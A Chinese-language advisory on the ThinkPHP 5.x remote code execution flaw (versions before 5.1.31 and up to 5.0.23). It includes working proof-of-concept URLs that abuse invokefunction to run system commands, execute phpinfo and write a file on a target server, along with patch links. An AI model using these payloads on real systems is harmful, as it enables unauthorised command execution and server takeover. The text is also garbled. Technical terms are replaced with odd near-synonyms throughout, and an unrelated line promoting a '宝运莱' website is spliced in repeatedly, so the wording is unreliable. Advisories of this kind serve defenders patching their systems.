ThinkPHP 远程号令执行缝隙安全公告

颁布功夫 2018-12-11

缝隙编号和级别


       CVE编号:待定,危险级别:严沉,CVSS分值:官方未评定


影响版本


       ThinkPHP 5.x < 5.1.31, <= 5.0.23


缝隙概述


ThinkPHP官方2018年12月9日颁布沉要的安全更新,建复了一个严沉的远程代码执行缝隙。该更新重要涉及一个安全更新,由于框架对节造器名没有进行足够的检测会导致在没有开启强造路由的情况下可能的getshell缝隙。


缝隙验证


通过补丁分析关键代码:

// 获取节造器名

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在建复之前法式未对节造器进行过滤,导致攻击者能够通过引入\符号来挪用肆意类步骤。

POC:

执行系统号令显示目录下文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l



宝运莱·(中国区)最新官方网站



执行phpinfo

http://IP /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


宝运莱·(中国区)最新官方网站



写info.php文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20info.php

接见 info.php


宝运莱·(中国区)最新官方网站



影响领域


国内露出在公网的ThinkPHP数量巨大,必要高度器沉。



宝运莱·(中国区)最新官方网站



建复建议


Thinkphp v5.0.x补丁地址:

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址:

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815


参考链接

https://blog.thinkphp.cn/869075